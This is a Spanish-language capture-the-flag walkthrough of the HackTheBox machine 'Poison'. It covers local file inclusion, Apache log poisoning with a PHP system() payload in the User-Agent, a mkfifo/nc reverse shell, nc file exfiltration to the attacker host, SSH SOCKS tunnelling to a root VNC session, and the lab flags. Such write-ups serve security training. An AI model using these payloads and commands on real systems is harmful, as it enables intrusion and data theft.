HackTheBox - Poison (medium)
- Poison is a fairly easy machine which focuses mainly on log poisoning and port forwarding/tunneling. The machine is running FreeBSD which presents a few challenges for novice users as many common binaries from other distros are not available.
PortScan
❯ sudo nmap -sCV -p22,80 10.10.10.84 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 12:00 CST
Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 10.10.10.84
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Enumeración
- Tenemos el puerto 80 abierto y esta corriendo un servicio web estas son las tecnologías que esta corriendo.
❯ whatweb http://10.10.10.84
http://10.10.10.84 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[FreeBSD][Apache/2.4.29 (FreeBSD) PHP/5.6.32], IP[10.10.10.84], PHP[5.6.32], X-Powered-By[PHP/5.6.32]
- Vemos algunas rutas.
❯ sudo nmap --script=http-enum -p80 10.10.10.84 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-08 12:01 CST
Nmap scan report for 10.10.10.84
Host is up (0.18s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /info.php: Possible information file
|_ /phpinfo.php: Possible information file
- Esta es la pagina web.
-
Nos dicen que la web funciona para probar scripts en PHP.
-
Si damos click en Submit sin subir ningún tipo de contenido vemos esta respuesta.
- Además en la
url
vemos que mediante un parámetro llamadofile
se ve que este es el encargado de apuntar los archivos que tenemos que indicar y como no le indicamos nada pues no esta apuntando a nada es por eso que nos da error.
Local File Inclusion (LFI)
- Por el parámetro podemos probar con un LFI para ver si podemos leer archivos en este caso el mas conocido el
/etc/passwd
para ver los usuarios en el sistema.
❯ curl -s 'http://10.10.10.84/browse.php?file=/etc/passwd'
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh
Log Poisoning
-
Vemos que se esta empleando
FreeBSD
https://www.freebsd.org/. -
Para convertir un LFI a un RCE podemos hacer un
Log Poisoning
para ver los logs tenemos que ser capaces de ver esta ruta/var/log/apache2
.
❯ curl -s 'http://10.10.10.84/browse.php?file=/var/log'
<br />
<b>Warning</b>: include(/var/log): failed to open stream: Resource temporarily unavailable in <b>/usr/local/www/apache24/data/browse.php</b> on line <b>2</b><br />
<br />
<b>Warning</b>: include(): Failed opening '/var/log' for inclusion (include_path='.:/usr/local/www/apache24/data') in <b>/usr/local/www/apache24/data/browse.php</b> on line <b>2</b><br />
- En este caso se esta empleando
FreeBSD
y la ruta donde están los logs es en/var/log/httpd-access.log
hay se guardan todas las solicitudes que recibe cada que intentamos interactuar con el servidor o la maquina todo se va a guardar allí si nosotros somos capaces de ver el contenido de ese archivo podemos tratar de hacer unLog Poisoning
que esto lo que hace es envenenar los logs de apache y poder inyectar comandos https://medium.com/@josewice7/lfi-to-rce-via-log-poisoning-db3e0e7a1cf1.
- Vemos que podemos ver el archivo.
- Como la web interpreta
PHP
lo que podemos hacer es mediante elUser-Agent
inyectar códigoPHP
para ver si lo interpreta esto lo que va hacer es como vamos a hacerlo mediantecurl
porGET
se va a guardar el elaccess.log
y hay podremos ver si en este caso funciono.
❯ curl -s -X -GET "http://10.10.10.84/test" -H "User-Agent: <?php system('id'); ?>"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>501 Not Implemented</title>
</head><body>
<h1>Not Implemented</h1>
<p>-GET to /test not supported.<br />
</p>
</body></html>
- Y vemos que como tal fue interpretado.
❯ curl -s -X -GET 'http://10.10.10.84/browse.php?file=/var/log/httpd-access.log' | tail -n 10
10.10.14.17 - - [08/Sep/2024:20:02:11 +0200] "GET /favicon.ico HTTP/1.1" 404 209 "http://10.10.10.84/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
10.10.14.17 - - [08/Sep/2024:20:02:30 +0200] "-" 408 - "-" "-"
10.10.14.17 - - [08/Sep/2024:20:06:50 +0200] "GET /browse.php?file= HTTP/1.1" 200 321 "http://10.10.10.84/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
10.10.14.17 - - [08/Sep/2024:20:07:10 +0200] "-" 408 - "-" "-"
10.10.14.17 - - [08/Sep/2024:20:09:38 +0200] "GET /browse.php?file=/etc/passwd HTTP/1.1" 200 1894 "-" "curl/8.8.0"
10.10.14.17 - - [08/Sep/2024:20:12:58 +0200] "GET /browse.php?file=/var/log HTTP/1.1" 200 368 "-" "curl/8.8.0"
10.10.14.17 - - [08/Sep/2024:20:18:28 +0200] "GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1" 200 381807 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
10.10.14.17 - - [08/Sep/2024:20:18:48 +0200] "-" 408 - "-" "-"
10.10.14.17 - - [08/Sep/2024:20:22:19 +0200] "-GET /test HTTP/1.1" 501 196 "-" "uid=80(www) gid=80(www) groups=80(www)
Shell as www
- Algo que podemos hacer es que para controlar nosotros el comando podemos inyectar lo siguiente para poder hacerlo mucho mas cómodo mediante el parámetro
cmd
nosotros le vamos a pasar el comando.
❯ curl -s -X GET "http://10.10.10.84/test" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /test was not found on this server.</p>
</body></html>
- Ahora nos vamos a poner en escucha con
netcat
para enviarnos una reverseshell
.
❯ nc -nlvp 443
listening on [any] 443 ...
-
Si lo enviamos vemos que nos envía nada.
-
Lo mas probable es que tengamos que hacerlo
url-encodeado
. -
Vamos a capturar con
Burpsuite
la petición donde vemos el archivo de los logs. -
Vamos abrirlo en segundo plano e independizamos el proceso.
❯ burpsuite &>/dev/null & disown
[1] 35533
-
Vamos a enviarlo con
mkfifo
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet. -
Así se ve antes de
url-encodear
.
- Ahora lo
url-encodeamos
.
-
Ahora le damos a forward para enviar la petición.
-
Nos llega la shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.84] 13393
sh: can't access tty; job control turned off
$ whoami
www
$
- No nos deja.
$ script /dev/null -c bash
script: -c: No such file or directory
Script started, output file is /dev/null
Script started, output file is /dev/null
Script done, output file is /dev/null
- Hay un archivo llamado
pwdbackup.txt
por el nombre ya sabemos que es importante.
$ pwd
/usr/local/www/apache24/data
$ ls -la
total 72
drwxr-xr-x 2 root wheel 512 Mar 19 2018 .
drwxr-xr-x 6 root wheel 512 Jan 24 2018 ..
-rw-r--r-- 1 root wheel 33 Jan 24 2018 browse.php
-rw-r--r-- 1 root wheel 289 Jan 24 2018 index.php
-rw-r--r-- 1 root wheel 27 Jan 24 2018 info.php
-rw-r--r-- 1 root wheel 33 Jan 24 2018 ini.php
-rw-r--r-- 1 root wheel 90 Jan 24 2018 listfiles.php
-rw-r--r-- 1 root wheel 20 Jan 24 2018 phpinfo.php
-rw-r--r-- 1 root wheel 1267 Mar 19 2018 pwdbackup.txt
- Y tenemos esto.
$ cat pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong really..
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=
- Si hacemos un
decode
13 veces obtendremos una contraseña.
❯ echo -n "Q2hhcml4ITIjNCU2JjgoMA==" | base64 -d
Charix!2#4%6&8(0
Shell as charix
- Si recordamos tenemos un usuario que se llama
charix
y nos podemos conectar por SSH.
❯ ssh charix@10.10.10.84
The authenticity of host '10.10.10.84 (10.10.10.84)' can't be established.
ED25519 key fingerprint is SHA256:ai75ITo2ASaXyYZVscbEWVbDkh/ev+ClcQsgC6xmlrA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.84' (ED25519) to the list of known hosts.
(charix@10.10.10.84) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017
Welcome to FreeBSD!
Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/
Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.
Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier
Edit /etc/motd to change this login announcement.
Want to see how much virtual memory you're using? Just type "swapinfo" to
be shown information about the usage of your swap partitions.
csh: The terminal database could not be opened.
csh: using dumb terminal settings.
charix@Poison:~ %
User flag
charix@Poison:~ % cat user.txt
eaacdfb2d141b72a589233063604209c
charix@Poison:~ %
Privilege Escalation
- Vemos un
secret.zip
vamos a enviarlo a nuestra maquina de atacante para analizarlo.
❯ nc -nlvp 443 > secret.zip
listening on [any] 443 ...
- Ahora lo enviamos.
charix@Poison:~ % nc 10.10.14.17 443 < secret.zip
- Vemos que hay un
secret
.
❯ 7z l secret.zip
7-Zip 24.07 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-06-19
64-bit locale=C.UTF-8 Threads:128 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 166 bytes (1 KiB)
Listing archive: secret.zip
--
Path = secret.zip
Type = zip
Physical Size = 166
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2018-01-24 11:01:14 .R..A 8 20 secret
------------------- ----- ------------ ------------ ------------------------
2018-01-24 11:01:14 8 20 1 files
- Si hacemos un
unzip
nos pide contraseña.
❯ unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
- Vamos a usar
zip2john
para extraer un hash y posteriormente crackearlo para obtener la contraseña.
❯ zip2john secret.zip > hash
ver 2.0 secret.zip/secret PKZIP Encr: cmplen=20, decmplen=8, crc=77537827 ts=9827 cs=7753 type=0
- Y bueno no tenemos suerte por que no esta la contraseña en el
rockyou.txt
.
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 DONE (2024-09-08 13:06) 0g/s 1188Kp/s 1188Kc/s 1188KC/s !LUVDKR!..*7¡Vamos!
Session completed.
- Lo que podemos hacer es reutilizar la contraseña que ya tenemos para ver si con esa funciona.
❯ unzip secret.zip
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
- Pero no vemos gran cosa.
❯ catn secret
��[|Ֆz!
- Si enumeramos puertos abiertos internamente vemos los siguientes.
charix@Poison:~ % netstat -na -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 44 10.10.10.84.22 10.10.14.17.57266 ESTABLISHED
tcp4 0 0 10.10.10.84.13393 10.10.14.17.443 CLOSE_WAIT
tcp4 0 0 10.10.10.84.80 10.10.14.17.52658 CLOSE_WAIT
tcp4 0 0 127.0.0.1.25 *.* LISTEN
tcp4 0 0 *.80 *.* LISTEN
tcp6 0 0 *.80 *.* LISTEN
tcp4 0 0 *.22 *.* LISTEN
tcp6 0 0 *.22 *.* LISTEN
tcp4 0 0 127.0.0.1.5801 *.* LISTEN
tcp4 0 0 127.0.0.1.5901 *.* LISTEN
charix@Poison:~ %
- Encontramos un proceso interesante.
charix@Poison:~ % ps -faux
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 11 100.0 0.0 0 16 - RL 19:54 72:52.21 [idle]
root 0 0.0 0.0 0 160 - DLs 19:54 0:00.01 [kernel]
root 1 0.0 0.1 5408 1040 - ILs 19:54 0:00.00 /sbin/init --
root 2 0.0 0.0 0 16 - DL 19:54 0:00.00 [crypto]
root 3 0.0 0.0 0 16 - DL 19:54 0:00.00 [crypto returns]
root 4 0.0 0.0 0 32 - DL 19:54 0:00.04 [cam]
root 5 0.0 0.0 0 16 - DL 19:54 0:00.00 [mpt_recovery0]
root 6 0.0 0.0 0 16 - DL 19:54 0:00.00 [sctp_iterator]
root 7 0.0 0.0 0 16 - DL 19:54 0:00.25 [rand_harvestq]
root 8 0.0 0.0 0 16 - DL 19:54 0:00.00 [soaiod1]
root 9 0.0 0.0 0 16 - DL 19:54 0:00.00 [soaiod2]
root 10 0.0 0.0 0 16 - DL 19:54 0:00.00 [audit]
root 12 0.0 0.1 0 736 - WL 19:54 0:01.65 [intr]
root 13 0.0 0.0 0 48 - DL 19:54 0:00.00 [geom]
root 14 0.0 0.0 0 160 - DL 19:54 0:00.15 [usb]
root 15 0.0 0.0 0 16 - DL 19:54 0:00.00 [soaiod3]
root 16 0.0 0.0 0 16 - DL 19:54 0:00.00 [soaiod4]
root 17 0.0 0.0 0 48 - DL 19:54 0:00.07 [pagedaemon]
root 18 0.0 0.0 0 16 - DL 19:54 0:00.00 [vmdaemon]
root 19 0.0 0.0 0 16 - DL 19:54 0:00.00 [pagezero]
root 20 0.0 0.0 0 32 - DL 19:54 0:00.04 [bufdaemon]
root 21 0.0 0.0 0 16 - DL 19:54 0:00.01 [bufspacedaemon]
root 22 0.0 0.0 0 16 - DL 19:54 0:00.04 [syncer]
root 23 0.0 0.0 0 16 - DL 19:54 0:00.01 [vnlru]
root 319 0.0 0.5 9560 5052 - Ss 19:55 0:00.15 /sbin/devd
root 390 0.0 0.2 10500 2452 - Ss 19:55 0:00.06 /usr/sbin/syslogd -s
root 543 0.0 0.5 56320 5400 - S 19:55 0:01.97 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.con
root 620 0.0 0.7 57812 7052 - Is 19:55 0:00.00 /usr/sbin/sshd
root 625 0.0 1.1 99172 11516 - Ss 19:56 0:00.09 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 637 0.0 1.3 101220 12776 - I 19:57 0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 638 0.0 1.2 101220 12072 - I 19:57 0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 639 0.0 1.2 101220 11952 - I 19:57 0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 640 0.0 1.3 101220 12788 - I 19:57 0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 641 0.0 1.3 101220 12812 - I 19:57 0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
root 642 0.0 0.6 20636 6140 - Ss 19:57 0:00.05 sendmail: accepting connections (sendmail)
smmsp 645 0.0 0.6 20636 5808 - Is 19:57 0:00.00 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendm
root 649 0.0 0.2 12592 2436 - Is 19:57 0:00.01 /usr/sbin/cron -s
www 706 0.0 1.2 101220 11952 - I 19:59 0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 708 0.0 1.2 101220 11988 - S 19:59 0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 712 0.0 1.3 101220 12792 - I 19:59 0:00.02 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 713 0.0 1.2 101220 12140 - I 19:59 0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
www 783 0.0 0.3 13180 2664 - I 20:46 0:00.00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.
www 786 0.0 0.2 8324 1932 - I 20:46 0:00.00 cat /tmp/f
www 787 0.0 0.3 13180 2680 - I 20:46 0:00.00 /bin/sh -i
www 788 0.0 0.2 10928 2000 - I 20:46 0:00.00 nc 10.10.14.17 443
root 807 0.0 0.8 85228 7840 - Is 20:56 0:00.01 sshd: charix [priv] (sshd)
charix 810 0.0 0.8 85228 7872 - S 20:56 0:00.01 sshd: charix@pts/1 (sshd)
root 529 0.0 0.9 23620 8868 v0- I 19:55 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth
root 540 0.0 0.7 67220 7056 v0- I 19:55 0:00.01 xterm -geometry 80x24+10+10 -ls -title X Desktop
root 541 0.0 0.5 37620 5312 v0- I 19:55 0:00.00 twm
root 696 0.0 0.2 10484 2076 v0 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv0
root 697 0.0 0.2 10484 2076 v1 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv1
root 698 0.0 0.2 10484 2076 v2 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv2
root 699 0.0 0.2 10484 2076 v3 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv3
root 700 0.0 0.2 10484 2076 v4 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv4
root 701 0.0 0.2 10484 2076 v5 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv5
root 702 0.0 0.2 10484 2076 v6 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv6
root 703 0.0 0.2 10484 2076 v7 Is+ 19:57 0:00.00 /usr/libexec/getty Pc ttyv7
root 617 0.0 0.4 19660 3616 0 Is+ 19:55 0:00.00 -csh (csh)
charix 811 0.0 0.4 19660 3796 1 Ss 20:56 0:00.01 -csh (csh)
charix 837 0.0 0.3 21208 2660 1 R+ 21:07 0:00.00 ps -faux
-
Vemos que se esta corriendo
tightvnc
ya que el usuario root lo esta corriendo https://www.tightvnc.com/. -
Aquí nos explican como auditar ese servicio https://book.hacktricks.xyz/network-services-pentesting/pentesting-vnc.
❯ vncviewer
- Nos tenemos que conectar pero el puerto solo esta abierto internamente así que haremos
port forwarding
.
❯ ssh charix@10.10.10.84 -D 1080
- Todo esta funcionando.
❯ lsof -i:1080
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 62161 miguelrega7 4u IPv6 192426 0t0 TCP localhost:socks (LISTEN)
ssh 62161 miguelrega7 5u IPv4 192427 0t0 TCP localhost:socks (LISTEN)
- Ahora le pasamos lo que nos pide la herramienta.
❯ proxychains vncviewer 127.0.0.1:5901 -passwd secret
- Estamos como root.
Root flag
- Vamos a poner la
sh
con permisosSUID
para estar comoroot
desde nuestra consola.
charix@Poison:~ % /bin/sh
Cannot read termcap database;
using dumb terminal settings.
# whoami
root
# cat /root/root.txt
716d04b188419cf2bb99d891272361f5
#